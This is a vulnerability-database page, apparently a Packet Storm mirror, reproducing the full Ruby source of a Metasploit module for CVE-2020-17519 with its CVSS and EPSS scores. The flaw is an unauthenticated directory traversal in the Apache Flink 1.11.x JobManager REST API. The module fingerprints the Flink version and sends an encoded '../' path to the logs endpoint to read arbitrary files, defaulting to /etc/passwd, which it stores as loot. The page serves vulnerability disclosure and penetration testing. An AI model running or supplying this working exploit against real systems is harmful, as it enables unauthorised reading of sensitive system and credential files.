Lucene search

K
packetstormBrendan Coles, Hoa Nguyen, 0rich1, metasploit.comPACKETSTORM:181102
HistorySep 01, 2024 - 12:00 a.m.

Apache Flink JobManager Traversal

2024-09-0100:00:00
Brendan Coles, Hoa Nguyen, 0rich1, metasploit.com
packetstormsecurity.com
21
apache flink
jobmanager
traversal
vulnerability
directory traversal
cve-2020-17519
cwe-22
metasploit
ubuntu 18.04.4
http
log file paths
privileges
web server
version 1.11.2
rest api
depth
filepath
download
store loot

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.4

Confidence

Low

EPSS

0.973

Percentile

99.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Flink JobManager Traversal',  
'Description' => %q{  
This module exploits an unauthenticated directory traversal vulnerability  
in Apache Flink versions 1.11.0 <= 1.11.2. The JobManager REST API fails  
to validate user-supplied log file paths, allowing retrieval of arbitrary  
files with the privileges of the web server user.  
  
This module has been tested successfully on Apache Flink version 1.11.2  
on Ubuntu 18.04.4.  
},  
'Author' => [  
'0rich1 - Ant Security FG Lab', # Vulnerability discovery  
'Hoa Nguyen - Suncsr Team', # Metasploit module  
'bcoles', # Metasploit module cleanup and improvements  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2020-17519'],  
['CWE', '22'],  
['EDB', '49398'],  
['PACKETSTORM', '160849'],  
['URL', 'https://www.openwall.com/lists/oss-security/2021/01/05/2'],  
['URL', 'https://www.tenable.com/cve/CVE-2020-17519']  
],  
'DefaultOptions' => { 'RPORT' => 8081 },  
'DisclosureDate' => '2021-01-05',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptInt.new('DEPTH', [ true, 'Depth for path traversal', 10]),  
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd'])  
])  
end  
  
def check_host(_ip)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'config')  
})  
  
unless res  
return Exploit::CheckCode::Unknown('No reply.')  
end  
  
unless res.body.include?('flink')  
return Exploit::CheckCode::Safe('Target is not Apache Flink.')  
end  
  
version = res.get_json_document['flink-version']  
  
if version.blank?  
return Exploit::CheckCode::Detected('Could not determine Apache Flink software version.')  
end  
  
if Rex::Version.new(version).between?(Rex::Version.new('1.11.0'), Rex::Version.new('1.11.2'))  
return Exploit::CheckCode::Appears("Apache Flink version #{version} appears vulnerable.")  
end  
  
Exploit::CheckCode::Safe("Apache Flink version #{version} is not vulnerable.")  
end  
  
def retrieve_file(depth, filepath)  
traversal = Rex::Text.uri_encode(Rex::Text.uri_encode("#{'../' * depth}#{filepath}", 'hex-all'))  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'jobmanager', 'logs', traversal)  
})  
  
unless res  
print_error('No reply')  
return  
end  
  
if res.code == 404  
print_error('File not found')  
return  
end  
  
if res.code == 500  
print_error("Unexpected reply (HTTP #{res.code}): Server encountered an error attempting to read file")  
msg = res.body.scan(/Caused by: (.+?)\\n/).flatten.last  
print_error(msg) if msg  
return  
end  
  
if res.code != 200  
print_error("Unexpected reply (HTTP #{res.code})")  
return  
end  
  
res.body.to_s  
end  
  
def run_host(ip)  
depth = datastore['DEPTH']  
filepath = datastore['FILEPATH']  
  
print_status("Downloading #{filepath} ...")  
res = retrieve_file(depth, filepath)  
  
return if res.blank?  
  
print_good("Downloaded #{filepath} (#{res.length} bytes)")  
path = store_loot(  
'apache.flink.jobmanager.traversal',  
'text/plain',  
ip,  
res,  
File.basename(filepath)  
)  
print_good("File #{filepath} saved in: #{path}")  
end  
end  
`

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.4

Confidence

Low

EPSS

0.973

Percentile

99.9%